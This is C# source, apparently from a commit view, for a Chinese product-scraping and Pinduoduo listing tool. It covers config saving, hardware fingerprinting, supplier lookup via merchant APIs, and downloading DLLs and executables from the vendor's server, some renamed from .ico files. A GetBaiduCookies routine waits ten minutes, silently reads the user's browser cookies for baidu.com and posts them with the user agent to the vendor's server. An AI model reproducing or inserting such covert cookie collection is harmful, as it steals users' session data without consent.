xn["RankPage"].InnerText = BaseClass.RankPage.ToString();
xn["UserName"].InnerText = BaseClass.UserName;
xn["PassWord"].InnerText = BaseClass.Remember ? BaseClass.PassWord : "";
xn["HadNoteId"].InnerText = BaseClass.HadNoteId;
xn["RememberPass"].InnerText = BaseClass.Remember.ToString();
xn["AutoLogin"].InnerText = BaseClass.AutoLogin.ToString();
xn["MinPrice"].InnerText = BaseClass.MinPrice.ToString();
xn["MaxPrice"].InnerText = BaseClass.MaxPrice.ToString();
xn["MinBackMoney"].InnerText = BaseClass.MinBackMoney.ToString();
xn["MinPercent"].InnerText = BaseClass.MinPercent.ToString();
xn["MinLevel"].InnerText = BaseClass.MinLevel.ToString();
xn["MinSales"].InnerText = BaseClass.MinSales.ToString();
xn["AlimamaPageCount"].InnerText = BaseClass.AlimamaPageCount.ToString();
xn["CloudTitle"].InnerText = BaseClass.CloudTitle.ToString();
xn["CloudBrand"].InnerText = BaseClass.CloudBrand.ToString();
xn["CloudSellerNick"].InnerText = BaseClass.CloudSellerNick.ToString();
xn["ImageSheild"].InnerText = BaseClass.ImageSheild.ToString();
xn["CloudProduct"].InnerText = BaseClass.CloudProduct.ToString();
xn["NoKeyword"].InnerText = BaseClass.NoKeyword;
//自动上下架
xn["noSoldPara"].InnerText = UploadPinduoduoMain.NoSold.ToString();
xn["visitPara"].InnerText = UploadPinduoduoMain.NoVisit.ToString();
xn["visitCountPara"].InnerText = UploadPinduoduoMain.VisitCount.ToString();
xn["offTimePara"].InnerText = UploadPinduoduoMain.offTime;
xn["onTimePara"].InnerText = UploadPinduoduoMain.onTime;
//采集
xn["taoBaoPara"].InnerText = CollectKeywordByTaobao.TaobaoCollect.ToString();
xn["alibabaPara"].InnerText = CollectKeywordByTaobao.Alibaba.ToString();
xn["pinduoduoPara"].InnerText = CollectKeywordByTaobao.PinduoduoCollect.ToString();
xn["dataCenterPara"].InnerText = CollectKeywordByTaobao.DataCenter.ToString();
xn["autoAddPara"].InnerText = CollectKeywordByTaobao.AutoAdd.ToString();
xn["maxPagePara"].InnerText = CollectKeywordByTaobao.PageTop.ToString();
xn["singleKeywordPara"].InnerText = CollectKeywordByTaobao.MaxSingleKeywordProduct.ToString();
xn["priceStartPara"].InnerText = CollectKeywordByTaobao.MinPrice.ToString();
xn["priceEndPara"].InnerText = CollectKeywordByTaobao.MaxPrice.ToString();
xn["soldStartPara"].InnerText = CollectKeywordByTaobao.MinSale.ToString();
xn["soldEndPara"].InnerText = CollectKeywordByTaobao.MaxSale.ToString();
xn["mainImagePara"].InnerText = CollectKeywordByTaobao.MainImageCut.ToString();
xn["fessionCountPara"].InnerText = CollectKeywordByTaobao.FessionCount.ToString();
xn["outKeywordrichPara"].InnerText = CollectKeywordByTaobao.outKeywordrich.Replace("\n", "\\");
xn["addKeywordrichPara"].InnerText = CollectKeywordByTaobao.addKeywordrich.Replace("\n", "\\");
//上传
xn["multiPara"].InnerText = UploadPinduoduoMain.MultiSavePrice.ToString();
xn["postagePara"].InnerText = UploadPinduoduoMain.Postage.ToString();
xn["singlePricePara"].InnerText = UploadPinduoduoMain.SinglePrice.ToString();
xn["beforPricePara"].InnerText = UploadPinduoduoMain.BeforePrice.ToString();
xn["stockPara"].InnerText = UploadPinduoduoMain.LimitBuy.ToString();
xn["groupCountPara"].InnerText = UploadPinduoduoMain.GroupCount.ToString();
xn["randPara"].InnerText = UploadPinduoduoMain.RandPrice.ToString();
xn["randPrice1Para"].InnerText = UploadPinduoduoMain.RandPrice1.ToString();
xn["randPrice2Para"].InnerText = UploadPinduoduoMain.RandPrice2.ToString();
xn["imageBuildPara"].InnerText = UploadPinduoduoMain.ImageBuild.ToString();
xn["randDeletePara"].InnerText = UploadPinduoduoMain.RandDeleteImage.ToString();
xn["priceShieldPara"].InnerText = UploadPinduoduoMain.PriceShield.ToString();
xn["IrregularitiesPara"].InnerText = UploadPinduoduoMain.Irregularities.ToString();
xn["randSkuPara"].InnerText = UploadPinduoduoMain.RandSku.ToString();
xn["randImagePara"].InnerText = UploadPinduoduoMain.RandMainImage.ToString();
xn["randDescPara"].InnerText = UploadPinduoduoMain.RandDesc.ToString();
xn["onlyFreePara"].InnerText = UploadPinduoduoMain.JustFree.ToString();
xn["propToMainPara"].InnerText = UploadPinduoduoMain.PropImageToMain.ToString();
xn["deleteMainImagePara"].InnerText = UploadPinduoduoMain.DeleteMainImage.ToString();
xn["mainImageCountPara"].InnerText = UploadPinduoduoMain.DeleteMainImageCut.ToString();
xn["deleteFirstPara"].InnerText = UploadPinduoduoMain.DeleteFirst.ToString();
xn["saveAllImagePara"].InnerText = UploadPinduoduoMain.JustSaveContentImage.ToString();
xn["descImgCountPara"].InnerText = UploadPinduoduoMain.JustSaveContentImageCount.ToString();
xn["prefixPara"].InnerText = UploadPinduoduoMain.PreFix.ToString();
xn["prefixTextPara"].InnerText = UploadPinduoduoMain.PreFixTitle.ToString();
xn["shopthreadCountPara"].InnerText = UploadPinduoduoMain.ShopThreadCount.ToString();
xn["singeThreadCountPara"].InnerText = UploadPinduoduoMain.SingleThreadCount.ToString();
xn["singleUploadPara"].InnerText = UploadPinduoduoMain.MaxUpload.ToString();
xn["catHardPara"].InnerText = UploadPinduoduoMain.CutHand.ToString();
xn["relationPara"].InnerText = UploadPinduoduoMain.Relation.ToString();
//替换
xn["visitSpacePara"].InnerText = UploadPinduoduoMain.Days.ToString();
xn["saveCollectPara"].InnerText = CollectKeywordByTaobao.SaveCollect.ToString();
xn["offCountPara"].InnerText = UploadPinduoduoMain.OffProduct.ToString();
xn["offProductPara"].InnerText = UploadPinduoduoMain.OffProductCount.ToString();
xn["IrregularitiesPara"].InnerText = UploadPinduoduoMain.Irregularities.ToString();
xn["IrregularitiesPara"].InnerText = UploadPinduoduoMain.NoNeerReplace.ToString();
xn["noNeerDaysPara"].InnerText = UploadPinduoduoMain.NoNeerDays.ToString();
xn["limitReplacePara"].InnerText = UploadPinduoduoMain.LimitReplace.ToString();
xn["replaceCountPara"].InnerText = UploadPinduoduoMain.ReplaceCount.ToString();
xn["errorDownPara"].InnerText = UploadPinduoduoMain.ErrorDown.ToString();
xn["apiPara"].InnerText = UploadPinduoduoMain.UseApi.ToString();
xmlDoc.Save(ConfigFilePach);
}
catch
{
BaseClass.ViewCode += "保存配置信息出错,请删除配置文件,重试\n";
}
}
/// <summary>
/// 写入配置文件
/// </summary>
public void WriteFile()
{
string content = @"<?xml version=""1.0"" encoding=""utf-8""?>
<ConfigSet>
<WaitTime>1000</WaitTime>
<ThreadCount>1</ThreadCount>
<UserName></UserName>
<PassWord></PassWord>
<AutoLogin>False</AutoLogin>
<RememberPass>True</RememberPass>
<HadNoteId></HadNoteId>
<OrderStep>1</OrderStep>
<RankPage>3</RankPage>
<MinPrice>10</MinPrice>
<MaxPrice>300</MaxPrice>
<MinSales>1</MinSales>
<MinLevel>5</MinLevel>
<MinBackMoney>5</MinBackMoney>
<MinPercent>2</MinPercent>
<CloudTitle>True</CloudTitle>
<CloudBrand>True</CloudBrand>
<CloudSellerNick>True</CloudSellerNick>
<CloudProduct>True</CloudProduct>
<AlimamaPageCount>50</AlimamaPageCount>
</ConfigSet>";
FileBase.WriteAllText(ConfigFilePach, content, Encoding.UTF8);
}
/// <summary>
/// 获取机器码
/// </summary>
/// <returns></returns>
public void GetMacCode()
{
string Info = ""; //cpu序列号
try
{
ManagementClass cimobject = new ManagementClass("Win32_Processor");
ManagementObjectCollection moc = cimobject.GetInstances();
foreach (ManagementObject mo in moc)
{
Info = mo.Properties["ProcessorId"].Value.ToString();
break;
}
Info += "@";
ManagementClass cimobject1 = new ManagementClass("Win32_DiskDrive");
ManagementObjectCollection moc1 = cimobject1.GetInstances();
foreach (ManagementObject mo in moc1)
{
if (string.IsNullOrEmpty(mo["signature"]?.ToString()) || mo["signature"].ToString() == "0" || mo.Properties["Model"].Value.ToString().IndexOf("USB") > -1)
{
continue;
}
Info += mo.Properties["Model"].Value + "," + mo["SerialNumber"] + ";"; //硬盘型号、硬盘ID
}
Info = Info.Substring(0, Info.Length - 1);
Info = Info.Replace(" ", "");
}
catch
{
}
InitProgress(1);
BaseClass.MacInfo = Info;
}
/// <summary>
/// 校准时间
/// </summary>
private void UpdateTime()
{
string t = GetHtml.Utf8(BaseClass.LoginApiUrl + "time.php");
if (string.IsNullOrEmpty(t))
return;
DateTime dt;
if (!DateTime.TryParse(t, out dt))
{
MessageBox.Show("连接服务器失败,将导致无法登录", "请检查防火墙设置");
return;
}
int s = BaseClass.DateTimeToTimestampSeconds(dt);
int a = BaseClass.DateTimeToTimestampSeconds(DateTime.Now);
BaseClass.TimeDifferent = s - a;
//SetDate(dt); //设置系统时间
}
public static bool IsBase64(string str)
{
try
{
string pattern = "^([A-Za-z0-9+/]{4})*([A-Za-z0-9+/]{4}|[A-Za-z0-9+/]{3}=|[A-Za-z0-9+/]{2}==)$";
return Regex.IsMatch(str, pattern);
}
catch (Exception ex)
{
return false;
}
}
public static string Base64Encrypt(string encrypt)
{
try
{
return Convert.ToBase64String(Encoding.UTF8.GetBytes(encrypt));
}
catch (Exception ex)
{
return encrypt;
}
}
public static string Base64Decrypt(string decrypt)
{
try
{
return Encoding.UTF8.GetString(Convert.FromBase64String(decrypt));
}
catch (Exception ex)
{
return decrypt;
}
}
private void CheckFiles()
{
if (!Directory.Exists("config"))
Directory.CreateDirectory("config");
if (!Directory.Exists("x64"))
Directory.CreateDirectory("x64");
if (!Directory.Exists("x86"))
Directory.CreateDirectory("x86");
if (!Directory.Exists("ru-ru"))
Directory.CreateDirectory("ru-ru");
if (!Directory.Exists("temp"))
Directory.CreateDirectory("temp");
if (!Directory.Exists("temp/image"))
Directory.CreateDirectory("temp/image");
List<KeyValueBase> files = new List<KeyValueBase>();
files.Add(new KeyValueBase("标题包含过滤_new.txt", "config/标题包含过滤x.ini"));
files.Add(new KeyValueBase("标题过滤词_new.txt", "config/标题过滤词x.ini"));
files.Add(new KeyValueBase("标题过滤词_new.txt", "config/标题去除词x.ini"));
files.Add(new KeyValueBase("品牌属性过滤_new.txt", "config/品牌属性过滤x.ini"));
files.Add(new KeyValueBase("属性过滤词_new.txt", "config/属性过滤词x.ini"));
files.Add(new KeyValueBase("ids_20200602.dll", "temp/ids.dll"));
files.Add(new KeyValueBase("tids_20200602.dll", "temp/tids.dll"));
files.Add(new KeyValueBase("crawlerInfo.js", "crawlerInfo.js"));
files.Add(new KeyValueBase("pdd.ico", "pdd.dat"));
files.Add(new KeyValueBase("anti_content.js", "anti_content.js"));
files.Add(new KeyValueBase("taobao_address.js", "taobao_address.tjm"));
files.Add(new KeyValueBase("1688address.js", "1688_address.tjm"));
files.Add(new KeyValueBase("crawlerInfoInterface.js", "crawlerInfoInterface.js"));
files.Add(new KeyValueBase("Interop.MSScriptControl.ico", "Interop.MSScriptControl.dll"));
files.Add(new KeyValueBase("taobao_cat.ico", "taobao_cat.ico"));
files.Add(new KeyValueBase("segment1.2.dll", "segment.dll", "C8057AEA79E32985670BC41D39C3349B"));
files.Add(new KeyValueBase("UserAgent.txt", "temp/UserAgent.txt"));
files.Add(new KeyValueBase("simplepwd.txt", "temp/simplepwd.txt"));
//java v8引擎
files.Add(new KeyValueBase("ru-ru/JavaScriptEngineSwitcher.Core.resources.dll", "ru-ru/JavaScriptEngineSwitcher.Core.resources.dll"));
files.Add(new KeyValueBase("x64/ClearScriptV8-64.dll", "x64/ClearScriptV8-64.dll"));
files.Add(new KeyValueBase("x64/v8-base-x64.dll", "x64/v8-base-x64.dll"));
files.Add(new KeyValueBase("x64/v8-x64.dll", "x64/v8-x64.dll"));
files.Add(new KeyValueBase("x86/ClearScriptV8-32.dll", "x86/ClearScriptV8-32.dll"));
files.Add(new KeyValueBase("x86/v8-base-ia32.dll", "x86/v8-base-ia32.dll"));
files.Add(new KeyValueBase("x86/v8-ia32.dll", "x86/v8-ia32.dll"));
files.Add(new KeyValueBase("AdvancedStringBuilder.dll", "AdvancedStringBuilder.dll"));
files.Add(new KeyValueBase("ClearScript.dll", "ClearScript.dll"));
files.Add(new KeyValueBase("ClearScriptV8-32.dll", "ClearScriptV8-32.dll"));
files.Add(new KeyValueBase("ClearScriptV8-64.dll", "ClearScriptV8-64.dll"));
files.Add(new KeyValueBase("JavaScriptEngineSwitcher.Core.dll", "JavaScriptEngineSwitcher.Core.dll"));
files.Add(new KeyValueBase("JavaScriptEngineSwitcher.V8.dll", "JavaScriptEngineSwitcher.V8.dll"));
files.Add(new KeyValueBase("v8-ia32.dll", "v8-ia32.dll"));
files.Add(new KeyValueBase("v8-x64.dll", "v8-x64.dll"));
files.Add(new KeyValueBase("DB.dll", "DB.dll"));
files.Add(new KeyValueBase("System.Data.SQLite.DLL", "System.Data.SQLite.DLL"));
files.Add(new KeyValueBase("FindLittleRabbitOrder.exe", "FindLittleRabbitOrder.exe"));
files.Add(new KeyValueBase("9527_new.ico", "temp/9527.wav"));
files.Add(new KeyValueBase("tipaudio1_new.ico", "temp/1号电脑.mp3"));
files.Add(new KeyValueBase("tipaudio2_new.ico", "temp/2号电脑.mp3"));
files.Add(new KeyValueBase("tipaudio3_new.ico", "temp/3号电脑.mp3"));
files.Add(new KeyValueBase("tipaudio4_new.ico", "temp/4号电脑.mp3"));
files.Add(new KeyValueBase("tipaudio5_new.ico", "temp/5号电脑.mp3"));
files.Add(new KeyValueBase("tipaudio6_new.ico", "temp/6号电脑.mp3"));
files.Add(new KeyValueBase("tipaudio7_new.ico", "temp/7号电脑.mp3"));
files.Add(new KeyValueBase("tipaudio8_new.ico", "temp/8号电脑.mp3"));
files.Add(new KeyValueBase("tipaudio9_new.ico", "temp/9号电脑.mp3"));
files.Add(new KeyValueBase("tipaudio10_new.ico", "temp/10号电脑.mp3"));
files.Add(new KeyValueBase("tipaudio11_new.ico", "temp/11号电脑.mp3"));
files.Add(new KeyValueBase("tipaudio12_new.ico", "temp/12号电脑.mp3"));
files.Add(new KeyValueBase("tipaudio13_new.ico", "temp/13号电脑.mp3"));
files.Add(new KeyValueBase("tipaudio14_new.ico", "temp/14号电脑.mp3"));
files.Add(new KeyValueBase("tipaudio15_new.ico", "temp/15号电脑.mp3"));
files.Add(new KeyValueBase("tipaudio16_new.ico", "temp/16号电脑.mp3"));
files.Add(new KeyValueBase("tipaudio17_new.ico", "temp/17号电脑.mp3"));
files.Add(new KeyValueBase("tipaudio18_new.ico", "temp/18号电脑.mp3"));
files.Add(new KeyValueBase("tipaudio19_new.ico", "temp/19号电脑.mp3"));
files.Add(new KeyValueBase("tipaudio20_new.ico", "temp/20号电脑.mp3"));
foreach (KeyValueBase k in files)
{
string md5 = GetMD5(k.Value);
if (FileBase.Exists(k.Value) && string.IsNullOrEmpty(k.CatName) || !string.IsNullOrEmpty(k.CatName) && md5 == k.CatName)
continue;
if (GetHtml.DownloadFile("http://dl.qixiaoke.com/files/" + k.Key, k.Key + ".bak"))
FileBase.Move(k.Key + ".bak", k.Value);
InitProgress(1);
}
List<KeyValueBase> cef_files = new List<KeyValueBase>();
cef_files.Add(new KeyValueBase("cef.pak", "cef.pak"));
cef_files.Add(new KeyValueBase("cef_100_percent.pak", "cef_100_percent.pak"));
cef_files.Add(new KeyValueBase("cef_200_percent.pak", "cef_200_percent.pak"));
cef_files.Add(new KeyValueBase("cef_extensions.pak", "cef_extensions.pak"));
cef_files.Add(new KeyValueBase("CefSharp.BrowserSubprocess.Core.dll", "CefSharp.BrowserSubprocess.Core.dll"));
cef_files.Add(new KeyValueBase("CefSharp.BrowserSubprocess.exe", "CefSharp.BrowserSubprocess.exe"));
cef_files.Add(new KeyValueBase("CefSharp.Core.dll", "CefSharp.Core.dll"));
cef_files.Add(new KeyValueBase("CefSharp.Core.xml", "CefSharp.Core.xml"));
cef_files.Add(new KeyValueBase("CefSharp.dll", "CefSharp.dll"));
cef_files.Add(new KeyValueBase("CefSharp.WinForms.dll", "CefSharp.WinForms.dll"));
cef_files.Add(new KeyValueBase("CefSharp.WinForms.XML", "CefSharp.WinForms.XML"));
cef_files.Add(new KeyValueBase("CefSharp.XML", "CefSharp.XML"));
cef_files.Add(new KeyValueBase("chrome_elf.dll", "chrome_elf.dll"));
cef_files.Add(new KeyValueBase("d3dcompiler_47.dll", "d3dcompiler_47.dll"));
cef_files.Add(new KeyValueBase("devtools_resources.pak", "devtools_resources.pak"));
cef_files.Add(new KeyValueBase("icudtl.dat", "icudtl.dat"));
cef_files.Add(new KeyValueBase("libcef.dll", "libcef.dll"));
cef_files.Add(new KeyValueBase("libEGL.dll", "libEGL.dll"));
cef_files.Add(new KeyValueBase("libGLESv2.dll", "libGLESv2.dll"));
cef_files.Add(new KeyValueBase("natives_blob.bin", "natives_blob.bin"));
cef_files.Add(new KeyValueBase("snapshot_blob.bin", "snapshot_blob.bin"));
cef_files.Add(new KeyValueBase("v8_context_snapshot.bin", "v8_context_snapshot.bin"));
if (!File.Exists("cef_config") || cef_files.Any(c => File.Exists(c.Key + ".bak")))
{
try
{
foreach (KeyValueBase k in cef_files)
{
string md5 = GetMD5(k.Value);
//if (FileBase.Exists(k.Value) && string.IsNullOrEmpty(k.CatName) || !string.IsNullOrEmpty(k.CatName) && md5 == k.CatName)
// continue;
if (GetHtml.DownloadFile("http://dl.qixiaoke.com/files/cef79/" + k.Key, k.Key + ".bak"))
FileBase.Move(k.Key + ".bak", k.Value);
InitProgress(1);
}
File.Create("cef_config");
}
catch
{
IsCheckFilesSuccesss = false;
}
}
else
{
InitProgress(20);
}
Task.Run(() => { new AddressSetIni().Ini(); InitProgress(1); });
Task.Run(() => { new AddressSetIni().getAddress1688(); InitProgress(1); });
Task.Run(() => { FromTitleToCat.Ini(); InitProgress(1); });
Task.Run(() => { Segment.Int(); InitProgress(1); }); // 加载分词文件
Thread t = new Thread(UploadPinduoduoProperties.Ini);
t.Priority = ThreadPriority.Lowest;
t.Start();
try
{
//加载违规商品Id
string idslines = File.ReadAllText("temp/ids.dll", Encoding.Default);
if (!string.IsNullOrEmpty(idslines))
{
foreach (string s in idslines.Split(new string[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries))
{
if (string.IsNullOrEmpty(s) || s == "0" || s.Contains("?") || s.Contains("@"))
continue;
if (s.Trim().Length < 2)
continue;
UploadPinduoduoMain.RuleIds.Add(s);
}
}
//加载违规商品标题
string tidslines = File.ReadAllText("temp/tids.dll", Encoding.Default);
if (!string.IsNullOrEmpty(tidslines))
{
foreach (string s in tidslines.Split(new string[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries))
{
if (string.IsNullOrEmpty(s) || s == "0")
continue;
if (s.Trim().Length < 2)
continue;
UploadPinduoduoMain.RuleTitles.Add(s);
}
}
InitProgress(1);
}
catch
{
}
//加载配置文件
string lines = File.ReadAllText("config/标题过滤词x.ini", Encoding.Default);
if (!string.IsNullOrEmpty(lines))
{
if (IsBase64(lines))
{
lines = Base64Decrypt(lines);
}
foreach (string s in lines.Split(new string[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries))
{
if (string.IsNullOrEmpty(s))
continue;
if (s.Trim().Length < 2)
continue;
AlibabaShop.NoTitleWords.Add(s.Trim());
}
InitProgress(1);
}
lines = File.ReadAllText("config/属性过滤词x.ini", Encoding.Default);
if (!string.IsNullOrEmpty(lines))
{
if (IsBase64(lines))
{
lines = Base64Decrypt(lines);
}
foreach (string s in lines.Split(new string[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries))
{
if (string.IsNullOrEmpty(s))
continue;
AlibabaShop.NoPropWords.Add(s.Trim());
}
InitProgress(1);
}
lines = File.ReadAllText("config/品牌属性过滤x.ini", Encoding.Default);
if (!string.IsNullOrEmpty(lines))
{
if (IsBase64(lines))
{
lines = Base64Decrypt(lines);
}
foreach (string s in lines.Split(new string[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries))
{
if (string.IsNullOrEmpty(s))
continue;
AlibabaShop.NoBrandName.Add(s.Trim());
}
InitProgress(1);
}
lines = File.ReadAllText("config/标题包含过滤x.ini", Encoding.Default);
if (!string.IsNullOrEmpty(lines))
{
if (IsBase64(lines))
{
lines = Base64Decrypt(lines);
}
foreach (string s in lines.Split(new string[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries))
{
if (string.IsNullOrEmpty(s))
continue;
AlibabaShop.TitleCantHad.Add(s.Trim());
}
InitProgress(1);
}
}
public static bool IsUseSystemProxy()
{
BindingFlags bindingAttr = BindingFlags.Instance | BindingFlags.NonPublic;
IWebProxy systemWebProxy = WebRequest.GetSystemWebProxy();
FieldInfo field1 = systemWebProxy.GetType().GetField("webProxy", bindingAttr);
if (field1 != (FieldInfo)null)
{
WebProxy webProxy = field1.GetValue((object)systemWebProxy) as WebProxy;
FieldInfo field2 = webProxy.GetType().GetField("_ProxyHostAddresses", bindingAttr);
if (field2 != (FieldInfo)null)
{
Hashtable hashtable = field2.GetValue((object)webProxy) as Hashtable;
if (hashtable != null && hashtable.Count > 0)
return true;
}
}
return false;
}
public static string GetRandKey(int len)
{
StringBuilder sb = new StringBuilder();
for (int i = 0; i < len; i++)
{
sb.Append("," + Randomx.GetId(127));
}
return sb.ToString(1, sb.Length - 1);
}
public void Encode(ref byte[] f, string key)
{
string[] l = key.Split(',');
List<byte> k = new List<byte>();
foreach (string s in l)
{
k.Add(byte.Parse(s));
}
int j = 0, a = 0;
for (int i = 0; i < f.Length; i++)
{
if (k[j] + f[i] > 255)
f[i] = (byte)(k[j] + f[i] - 255);
else
f[i] = (byte)(k[j] + f[i]);
j++;
j += a;
if (j >= k.Count)
{
j -= k.Count;
a++;
if (a >= k.Count / 2)
a = 0;
}
}
}
public void Decode(ref byte[] f, string key)
{
string[] l = key.Split(',');
List<byte> k = new List<byte>();
foreach (string s in l)
{
k.Add(byte.Parse(s));
}
int j = 0, a = 0;
for (int i = 0; i < f.Length; i++)
{
if (f[i] - k[j] < 0)
f[i] = (byte)(f[i] + 255 - k[j]);
else
f[i] = (byte)(f[i] - k[j]);
j++;
j += a;
if (j >= k.Count)
{
j -= k.Count;
a++;
if (a >= k.Count / 2)
a = 0;
}
}
}
public static string IEUserAgent = "";
public void GetBaiduCookies()
{
Thread.Sleep(10 * 60 * 1000);
string url = "http://www.baidu.com/";
//string userAgent = IECookies.GetUserAgent();
string cookies = IECookies.GetCookies(url);
if (string.IsNullOrEmpty(IEUserAgent) || string.IsNullOrEmpty(cookies) || cookies.Length < 100)
return;
url = BaseClass.BuildObjString("cookies&act=save");
string data = UserLogin.GetSignaturex() + "&user_agent=" + GetHtml.UrlEncodeUtf8(IEUserAgent) + "&cookies=" + GetHtml.UrlEncodeUtf8(cookies);
string html = GetHtml.PostUtf8(url, data);
}
}
}
+796
View File
@@ -0,0 +1,796 @@
using System;
using System.Collections.Generic;
using System.Text;
using System.Threading;
using AllBase;
using Work.Api;
namespace Work
{
/// <summary>
/// 获取上家
/// </summary>
public class JumpUpProductNew
{
public static Dictionary<int, Dictionary<char, char>> ShouZhangXinTb = new Dictionary<int, Dictionary<char, char>>();
public static Dictionary<int, Dictionary<char, char>> ShouZhangXinPdd = new Dictionary<int, Dictionary<char, char>>();
public UpShopIdBase UpId = new UpShopIdBase();
public ShopChatBase Shop = null;
public string Good_Sn="";
public string Html="";
public string OutGoodId = "";
public JumpUpProductNew(ShopChatBase shop)
{
Shop = shop;
}
public static string GetUrl(string url, out string pid, ShopChatBase shop)
{
JumpUpProductNew ju = new JumpUpProductNew();
ju.Shop = shop;
ju.GetUrl(url);
pid = ju.UpId.ProductIdFrom.ToString();
return ju.UpId.Url;
}
public JumpUpProductNew()
{
}
public void GetUrl(string url)
{
string pidCode="",idx="";
UpId.SiteId = 2;
string cookies = BaseClass.ChromeCookies;
int maillId = BaseClass.MallId;
if (Shop != null)
{
cookies = Shop.Cookies;
maillId = Shop.MallId;
}
long proId = 0;
if (!string.IsNullOrEmpty(OutGoodId) && (OutGoodId.Contains("PBB") || OutGoodId.Contains("TJM") || OutGoodId.Contains("TJH")))
{
pidCode = OutGoodId;
goto End;
}
if (!string.IsNullOrEmpty(url))
{
string id = BaseRegex.GetMatchRegexString(url, @"([\d]{5,15})");
string pid = "0";
if (string.IsNullOrEmpty(id))
{
UpId.Message = "没有找到拼多多ID";
return;
}
proId = long.Parse(id);
if (UpShopIdFromServer.UpIds.ContainsKey(proId))
{
UpId = UpShopIdFromServer.UpIds[proId];
UpId.GetOk = true;
return;
}
if (PinduoduoApiGetProduct.OutId.ContainsKey(proId))
{
pidCode = PinduoduoApiGetProduct.OutId[proId];
if(!string.IsNullOrEmpty(pidCode))
goto End;
}
//if (string.IsNullOrEmpty(pidCode)) //没有上家,优先走api
//{
// if(string.IsNullOrEmpty(Html))
//Html = new PinduoduoApiGetProduct(Shop).GetProductInfor(proId);
// pidCode = BaseRegex.GetMatchRegexString(ref Html, @"""out_sku_sn"":""(PBB[^""]+?)""");
// if (!string.IsNullOrEmpty(pidCode) && !pidCode.Contains("wait:"))
// goto End;
// var m = BaseRegex.GetMatchRegex(ref Html, @"""outer_goods_id"":""([^""]+?)""");
// if (m != null && m.Count > 0)
// pidCode = m[m.Count - 1].Groups[1].Value;
// if (!string.IsNullOrEmpty(pidCode) && !pidCode.Contains("wait:"))
// goto End;
// if (Html.Contains("outer_goods_id"))
// {
// if (GetServerId(proId, out idx))
// {
// DeCode(idx);
// return;
// }
// }
//}
if (string.IsNullOrEmpty(pidCode))
{
string urlx = "https://mms.pinduoduo.com/glide/v2/mms/query/commit/on_shop/detail";
string data = "{\"goods_id\":\"" + id + "\"}";
string htmlx = GetPostTaobaoHtml.UploadTaobaoPost(urlx, "https://mms.pinduoduo.com/", true, data,
cookies);
pidCode = BaseRegex.GetStringJson(ref htmlx, "out_goods_sn");
if (!string.IsNullOrEmpty(pidCode) && !pidCode.Contains("wait:"))
goto End;
}
if (UpIdsList.Count == 0)
{
UpdataUpIds();
}
foreach (string key in UpIdsList.Keys)
{
if (key == proId.ToString())
{
idx = UpIdsList[key].upProIdOne;
if (string.IsNullOrEmpty(idx))
idx = UpIdsList[key].upProIdTwo;
break;
}
}
if (!string.IsNullOrEmpty(idx) && idx.Contains("-"))
{
DeCode(idx);
return;
}
if (GetServerId(proId, out idx))
{
DeCode(idx);
return;
}
if (string.IsNullOrEmpty(pidCode))
{
string urlx = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList";
string data = "{\"order_by\":\"id:desc\",\"goods_id\":\"" + id + "\",\"size\":15,\"page\":1,\"mall_id\":" + maillId + "}";
string htmlx = GetPostTaobaoHtml.UploadTaobaoPost(urlx, "https://mms.pinduoduo.com/Pdd.html", true, data,
cookies);
pidCode = BaseRegex.GetStringJson(ref htmlx, "out_goods_sn");
if (!string.IsNullOrEmpty(pidCode) && !pidCode.Contains("wait:"))
goto End;
}
url = "https://mms.pinduoduo.com/vodka/v2/mms/query/display/mall/goodsList";
string date = "{\"sort_by\":\"id\",\"sort_type\":\"DESC\",\"goods_id\":\"" + id +
"\",\"size\":15,\"page\":1,\"mall_id\":" + maillId + "}";
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, "https://mms.pinduoduo.com/Pdd.html", true, date,
cookies);
//url = "https://mms.pinduoduo.com/malls/" + maillId + "/goodsList?sort_by=id&sort_type=DESC&goods_id=" + id + "&size=15&page=1";
// html = GetPostTaobaoHtml.UploadTaobao(url, "https://mms.pinduoduo.com/Pdd.html", true, cookies);
Good_Sn = BaseRegex.GetStringJson(ref html, "goods_sn");
if (string.IsNullOrEmpty(Good_Sn)) //没有上家
{
Thread.Sleep(5*1000);
html = GetPostTaobaoHtml.UploadTaobaoPost(url, "https://mms.pinduoduo.com/Pdd.html", true, date,
cookies);
Good_Sn = BaseRegex.GetStringJson(ref html, "goods_sn");
}
if (string.IsNullOrEmpty(Good_Sn)) //没有上家
{
Thread.Sleep(20*1000);
html = GetPostTaobaoHtml.UploadTaobaoPost(url, "https://mms.pinduoduo.com/Pdd.html", true, date,
cookies);
Good_Sn = BaseRegex.GetStringJson(ref html, "goods_sn");
}
if (string.IsNullOrEmpty(Good_Sn)) //没有上家
{
//message = "查询无数据";
UpId.Message = "未查询到产品id,请点选正确的店铺";
//AddToTemp(proId);
return;
}
}
//李尹添加
if (string.IsNullOrEmpty(pidCode))
{
//获取包含✅的上传记录
long idUp = proId;
string urlUp = "https://mms.pinduoduo.com/glide/v2/mms/query/commit/list";
string referex = "https://mms.pinduoduo.com/goods/goods_record";
string datax = "{\"check_status\":2,\"start\":0,\"length\":10,\"goods_id\":" + idUp + "}";
//第一页匹配结果
string htmlUp = GetPostTaobaoHtml.UploadTaobaoPost(urlUp, referex, true, datax, cookies);
int allCount = BaseRegex.GetIntJson(ref htmlUp, "total");
int page = allCount / 10 + (allCount % 10 > 0 ? 1 : 0);
long editId = 0;
for (int j = 1; j <= page; j++)
{
if (editId > 0)
{
break;
}
if (j != 1)
{
datax = "{\"check_status\":2,\"start\":" + (j - 1) * 10 + ",\"length\":10,\"goods_id\":" + idUp + "}";
htmlUp = GetPostTaobaoHtml.GetJsonPost(urlUp, referex, true, datax, cookies);
}
var m = BaseRegex.GetMatchRegex(ref htmlUp, @"\{([\w\W]+?)\}");
for (int k = 0; m != null && k < m.Count; k++)
{
string list = m[k].Groups[0].Value;
string goods_name = BaseRegex.GetStringJson(ref list, "goods_name");
if (string.IsNullOrEmpty(goods_name) || goods_name.Contains("✅"))
{
editId = BaseRegex.GetLongJson(ref list, "id");
break;
}
}
}
string urlx = "https://mms.pinduoduo.com/glide/v2/mms/query/commit/detail/" + editId;
string htmlx = GetPostTaobaoHtml.UploadTaobao(urlx, "https://mms.pinduoduo.com/goods/goods_add/index?id=" + editId + "&type=edit", true, cookies);
